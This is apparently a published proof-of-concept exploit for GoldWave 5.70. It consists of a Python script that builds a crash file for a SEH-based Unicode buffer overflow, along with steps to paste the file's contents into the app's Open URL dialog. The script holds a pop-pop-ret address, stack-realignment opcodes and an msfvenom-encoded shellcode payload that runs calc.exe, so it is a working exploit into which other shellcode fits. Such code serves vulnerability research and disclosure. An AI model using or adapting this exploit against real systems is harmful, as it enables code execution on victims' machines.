GoldWave - Buffer Overflow (SEH Unicode)

# Exploit Title: GoldWave 5.70 – Buffer Overflow (SEH Unicode)
# Date: 2020-05-14
# Exploit Author: Andy Bowden
# Vendor Homepage: https://www.goldwave.com/
# Version: 5.70
# Download Link: http://goldwave.com//downloads/gwave570.exe
# Tested on: Windows 10 x86

# PoC
# 1. generate crash.txt, copy contents to clipboard
# 2. open gold wave app
# 3. select File, Open URL...
# 4. paste contents from clipboard after 'http://'
# 5. select OK

f = open("crash.txt", "wb")

buf = b""
buf += b"\x41" * 1019
buf += b"\x71\x71" # Unicode NOP
buf += b"\xB3\x48" # 0x004800b3 | pop ecx, pop ebp, ret

#realigning stack
buf += b"\x75" # Unicode NOP
buf += b"\x54" # Push ESP
buf += b"\x75" # Unicode NOP
buf += b"\x58" # POP EAX
buf += b"\x75" # Unicode NOP
buf += b"\x05\xFF\x10" # ADD EAX,
buf += b"\x75" # Unicode NOP
buf += b"\x2d\xEA\x10" # SUB EAX,
buf += b"\x75"
buf += b"\x71" * 595

#msfvenom -p windows/exec CMD=calc.exe -e x86/unicode_upper
BufferRegister=EAX -f python
buf += b"\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41\x51"
buf += b"\x41\x54\x41\x58\x41\x5a\x41\x50\x55\x33\x51\x41\x44"
buf += b"\x41\x5a\x41\x42\x41\x52\x41\x4c\x41\x59\x41\x49\x41"
buf += b"\x51\x41\x49\x41\x51\x41\x50\x41\x35\x41\x41\x41\x50"
buf += b"\x41\x5a\x31\x41\x49\x31\x41\x49\x41\x49\x41\x4a\x31"
buf += b"\x31\x41\x49\x41\x49\x41\x58\x41\x35\x38\x41\x41\x50"
buf += b"\x41\x5a\x41\x42\x41\x42\x51\x49\x31\x41\x49\x51\x49"
buf += b"\x41\x49\x51\x49\x31\x31\x31\x31\x41\x49\x41\x4a\x51"
buf += b"\x49\x31\x41\x59\x41\x5a\x42\x41\x42\x41\x42\x41\x42"
buf += b"\x41\x42\x33\x30\x41\x50\x42\x39\x34\x34\x4a\x42\x4b"
buf += b"\x4c\x59\x58\x35\x32\x4b\x50\x4b\x50\x4d\x30\x31\x50"
buf += b"\x43\x59\x4b\x35\x50\x31\x39\x30\x42\x44\x54\x4b\x50"
buf += b"\x50\x30\x30\x54\x4b\x42\x32\x4c\x4c\x54\x4b\x31\x42"
buf += b"\x4c\x54\x54\x4b\x34\x32\x4f\x38\x4c\x4f\x48\x37\x50"
buf += b"\x4a\x4f\x36\x50\x31\x4b\x4f\x36\x4c\x4f\x4c\x31\x51"
buf += b"\x43\x4c\x4c\x42\x4e\x4c\x4f\x30\x39\x31\x38\x4f\x4c"
buf += b"\x4d\x4d\x31\x59\x37\x4a\x42\x4a\x52\x42\x32\x51\x47"
buf += b"\x34\x4b\x50\x52\x4c\x50\x34\x4b\x30\x4a\x4f\x4c\x54"
buf += b"\x4b\x30\x4c\x4e\x31\x34\x38\x4b\x33\x30\x48\x4b\x51"
buf += b"\x4a\x31\x30\x51\x54\x4b\x50\x59\x4d\x50\x4d\x31\x5a"
buf += b"\x33\x44\x4b\x31\x39\x4c\x58\x39\x53\x4e\x5a\x30\x49"
buf += b"\x44\x4b\x4e\x54\x34\x4b\x4d\x31\x4a\x36\x4e\x51\x4b"
buf += b"\x4f\x36\x4c\x59\x31\x38\x4f\x4c\x4d\x4b\x51\x49\x37"
buf += b"\x4e\x58\x4b\x30\x52\x55\x4b\x46\x4c\x43\x43\x4d\x4c"
buf += b"\x38\x4f\x4b\x43\x4d\x4e\x44\x42\x55\x5a\x44\x30\x58"
buf += b"\x54\x4b\x52\x38\x4e\x44\x4b\x51\x59\x43\x31\x56\x34"
buf += b"\x4b\x4c\x4c\x50\x4b\x34\x4b\x50\x58\x4d\x4c\x4b\x51"
buf += b"\x39\x43\x44\x4b\x4d\x34\x44\x4b\x4b\x51\x4a\x30\x35"
buf += b"\x39\x30\x44\x4d\x54\x4d\x54\x31\x4b\x51\x4b\x53\x31"
buf += b"\x50\x59\x50\x5a\x32\x31\x4b\x4f\x49\x50\x31\x4f\x31"
buf += b"\x4f\x31\x4a\x34\x4b\x4e\x32\x4a\x4b\x54\x4d\x51\x4d"
buf += b"\x51\x5a\x4b\x51\x54\x4d\x54\x45\x46\x52\x4b\x50\x4d"
buf += b"\x30\x4b\x50\x32\x30\x33\x38\x4e\x51\x34\x4b\x42\x4f"
buf += b"\x34\x47\x4b\x4f\x49\x45\x57\x4b\x5a\x50\x38\x35\x45"
buf += b"\x52\x52\x36\x42\x48\x37\x36\x34\x55\x47\x4d\x55\x4d"
buf += b"\x4b\x4f\x4a\x35\x4f\x4c\x4c\x46\x33\x4c\x4c\x4a\x43"
buf += b"\x50\x4b\x4b\x39\x50\x33\x45\x4d\x35\x47\x4b\x50\x47"
buf += b"\x4e\x33\x42\x52\x42\x4f\x31\x5a\x4b\x50\x50\x53\x4b"
buf += b"\x4f\x49\x45\x52\x43\x53\x31\x42\x4c\x53\x33\x4e\x4e"
buf += b"\x32\x45\x34\x38\x53\x35\x4b\x50\x41\x41"
buf += b"\x44" * (5000 - len(buf))

f.write(buf)
f.close()